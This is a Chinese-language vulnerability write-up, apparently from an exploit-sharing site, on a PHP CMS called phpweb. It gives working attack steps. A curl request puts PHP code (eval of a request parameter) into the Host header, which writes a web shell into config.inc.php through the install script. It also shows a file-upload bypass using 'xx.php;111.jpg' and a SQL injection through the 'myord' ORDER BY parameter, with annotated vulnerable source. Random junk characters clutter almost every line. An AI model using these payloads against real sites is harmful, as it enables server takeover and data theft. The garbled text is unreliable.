注入:
; `; i5 O `/ [7 Y: b9 I
2 b1 n$ g1 w, Z. j$ ?之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码( _% Q; y2 F- `2 ?5 o1 q. N8 D
" L* ~8 M6 S- b: k1 |2 J鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
i5 W, P5 P8 {0 A, i鸡肋2: 有一定安全常识的站长都会删掉 install 目录, k- a$ X) o' K' T
% \2 u% ^& ]; x* P虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响% v: a. j% Y7 u* q( {1 T
5 Q/ W- E; z6 F( m4 }分析:
" w! L2 ?$ |, ]0 H
% ?9 C) \2 l4 Z- l+ |6 A
- S. Z# l: Y5 N( B8 z; A+ o2 S8 @$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
: D4 m/ p) y$ g % t% N7 N. i' ?& U, F2 a
$filestr = fread(fopen($SysConfigFile, 'r'),30000);# O1 m1 x$ F8 V8 ^
$filestr=str_replace(" ","",$filestr);
, Q9 J, E9 `7 I* R' l: p1 u" J $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
, l0 l$ i) ^5 o7 j2 [' x $filestr=str_replace("DefaultDbName",$dbname,$filestr);
2 o, {* R, _4 P' p, Z. w $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
6 x4 W. i! K/ A! O. ?6 _ $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);5 r4 {1 j3 C4 M" Z+ O
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
7 M- l! A+ L* a $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
. R8 \ r$ j0 l& p $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
. a0 j; }- v% V9 V 3 @. q/ P: M5 Y- A0 h+ G
fwrite(fopen($ConFile,"w"),$filestr,30000);
: ?+ X9 C% I O7 R$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
( M6 l" s0 y0 R - P3 r) v$ u( ] j
poc:
. r* c& }6 o5 Q* J; {7 Q8 k( \
6 R+ U0 \6 J# ]?5 [: C: O% |: C/ o5 I: _; ^
15 A5 u" Z% I" T; ^+ u
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
( p) B( Q) @( o& P. Q+ p0 r+ jshell地址: /config.inc.php I5 I' M3 k% \9 K/ v7 \/ m
跟之前的 phpcms一样 需要远程数据库/ x% t1 W& |; P( u9 {% m) I; L
& r+ J( Y6 G" d7 |: g' G——————————————————–
& y& H; I5 D# W) y& |0 W3 @上传漏洞(需要进后台):: d! `+ N, J9 B k
漏洞文件: /kedit/upload_cgi/upload.php
% s: l& g( I( v/ O0 T+ m( T" Q) a这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用' M0 V$ q6 s( W7 J+ o9 |: k
# x1 j, m% z1 F; ^
f7 H) s8 y, O7 A
<?php
: h' s9 D8 {3 i5 o define("ROOTPATH", "../../"); H* {4 {$ J% u+ O; b- t5 L# D
include(ROOTPATH."includes/admin.inc.php");
$ V7 @4 w1 ?/ c. z4 F9 m1 O) D9 \ NeedAuth(0);# A* @( }, p) U& g
- x; t3 f) {3 A. f
$dt=date("Ymd",time());0 G7 V& F. q' p$ ?. |' {) s: ?2 k
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
9 V; l* }: \) E6 ^- m @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);( t9 j4 A6 z) q& \
}
7 d" ~0 W9 f: Z+ g- k- |4 H L
" i2 W0 q1 w% q3 m5 s //文件保存目录路径+ ~+ @4 L, Y. R1 [
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" n* A$ A& K2 e3 h$ F. F0 s* z B echo $save_path;
" M: k- S# m0 t* a //文件保存目录URL4 B- {2 h5 i p
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
( X: F7 U+ r& `, l( r8 w. c
. _# N0 a/ j n! C" p9 N //定义允许上传的文件扩展名" N: s9 ~) b" @1 ?+ R
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 _7 H2 l. u8 f Q * E: }; y( Q+ H8 t( g1 `9 G6 j2 ]
//最大文件大小% @7 c L1 |; d% F0 b6 Q
$max_size = 1000000;
/ F) p6 g. l! K# g. b) `9 o& x
# s5 J$ d: l) J8 V //更改目录权限
0 n `5 w; I3 a @mkdir($save_path, 0777);( ]- D' Q' Z& S: J# R$ N8 @4 L. C: k
! a: ^/ C; z% J6 n h6 C //文件的全部路径. R$ `3 s; r. }- s% Q+ P3 o- Z
$file_path = $save_path.$_POST['fileName']; //保存文件名
$ B6 u; k( a b7 p7 T 2 U8 W, n/ s( ]6 t8 ]- Q
//文件URL+ v5 B: K9 {: s
$file_url = $save_url.$_POST['fileName'];' e# N7 L9 A! r3 q6 m$ X8 p
//有上传文件时) V7 X/ C: v y+ d
if (empty($_FILES) === false) {
+ n5 p: c2 m: `; X! c' @8 J $ u7 q, v# F5 g, j( L: h
//原文件名" F6 h: ?: x& b/ D* Y. K
$file_name = $_FILES['fileData']['name'];
2 c8 g, G0 U j //服务器上临时文件名: \/ V ?' M: k9 a/ o d4 L9 u
$tmp_name = $_FILES['fileData']['tmp_name'];
- g( s) V2 F9 V; j //文件大小* Y S9 ~' s- z/ X! }; n9 m+ K* p
$file_size = $_FILES['fileData']['size'];
" {* E" X* f$ |6 @7 ^2 i, \ //检查目录
& t+ @' Q, F# K% m& N% X! H8 [ if (@is_dir($save_path) === false) {
8 R: s4 ?; J5 ~+ a8 @ alert("上传目录不存在。");1 L4 ~. V/ }9 C/ Y) w9 ~# t
}+ \: Z2 ~/ b! ~/ ^9 S* ?3 v
//检查目录写权限- F8 N0 Y6 Q, k; B7 G1 u, M8 k
if (@is_writable($save_path) === false) {
; l; _- W# c; I$ q7 ^- y alert("上传目录没有写权限。");
! Y* S6 Q/ X. Q, H$ _( v% j" u }0 e: k5 R' H! n0 [" I+ M
//检查是否已上传6 w" S; `# y" F6 X) s
if (@is_uploaded_file($tmp_name) === false) {! L9 x' J" |0 E3 y* C+ I
alert("临时文件可能不是上传文件。");; Z" j: q1 V. e9 d: f
}6 ~7 o" d+ |) k
//检查文件大小( J9 t% f. L/ f: X: j
if ($file_size > $max_size) {
4 m" Q" K' g1 o# {" y7 o& J; V alert("上传文件大小超过限制。");* v. z/ ]" m! {
}
6 _; `; ]' g& g7 A //获得文件扩展名) P1 M2 |. ~9 v
$temp_arr = explode(".", $_POST['fileName']);3 J: e. G& K, z: B
$file_ext = array_pop($temp_arr);) e+ o/ h- d% F5 d5 ~! G) Z: x
$file_ext = trim($file_ext);/ {& N( R6 |4 J
$file_ext = strtolower($file_ext);! U& p& ?8 U4 R1 ^
4 n$ l3 i( t# W R
//检查扩展名 " p/ K; H% L. J
if (in_array($file_ext, $ext_arr) === false) { - Q: _& ]1 M0 V3 D8 C, u
alert("上传文件扩展名是不允许的扩展名。");5 c* W$ R1 A8 v
}3 C* w- ` o& M/ c
8 k- S( x9 j( \! o8 O
//移动文件
/ o; p# \" k/ T. _1 X //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^: `1 q" d0 i* l: U3 S
if (move_uploaded_file($tmp_name, $file_path) === false) {/ w) R, U' v9 ?+ M' Q1 G6 {
alert("上传文件失败。");
( |: S6 S5 n2 H# Q }& f5 _$ o5 H) q+ B$ ]3 z
" B+ C# B7 L) \* V( `- l' T0 i7 H
@chmod($file_path,0666);
2 Q$ H \) R" ?+ U# q
( Q/ x: F T5 u3 k7 b+ n ?>* r, y0 Q: p/ s
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227) Z# \* N/ c/ t
, T' L5 ?' k! |5 C9 B
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
& \6 K7 P* Y5 y7 v* w( f1 U5 D ! I& C \9 F% v! y) u
——————————————————
4 C" Y4 ]" N5 @8 j, v; Q+ k' l/ e E注入漏洞:* a( R* B1 y' c- R& ^" z0 R6 }- e
漏洞文件:search/module/search.php$ n, {! l6 e4 M3 q2 x6 D
/search/index.php?key=1&myord=1 [sqlinjection]/ Z1 i+ c% P7 v8 W
* j' @+ @% O/ Z! A
. l6 F7 \! h% a# d. S<?php% o+ d' w" o# c; i0 S& g. S# Z
// ... 省略 n 行.../ A% ^& D1 w# i
//第18行:( L) Z3 }0 S& y: W. W9 y
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响# x' l3 T9 j3 l9 q8 t
$page=htmlspecialchars($_GET["page"]);! W0 q4 N: G* W" i/ ]) d/ U
$myord=htmlspecialchars($_GET["myord"]);( V8 d j) J! }! `; l
1 e0 D( |% F n7 \
// ... 省略 n 行...* i, P; B, g0 b( n& K8 ^; ?
$key,$myord 两个参数带入查询. x* E$ ?/ {$ m' d* J/ N* k: k
//第47行 $key:/ X' g& k) Y* q6 Z O8 `# d9 C9 ~
% C' [' a- Q9 X F7 D
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
5 R! n* Z7 H/ z# Q2 I6 y1 [ ' Y8 g* Q2 X! _2 o f
//第197行 $myord4 d) Z: F' d7 \8 s: Y
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入5 i9 Q2 @: ~& K0 G: _! |1 |1 F
' M7 Z. n* Y6 F% w* e
?>! ]6 U0 G6 I0 h/ J
|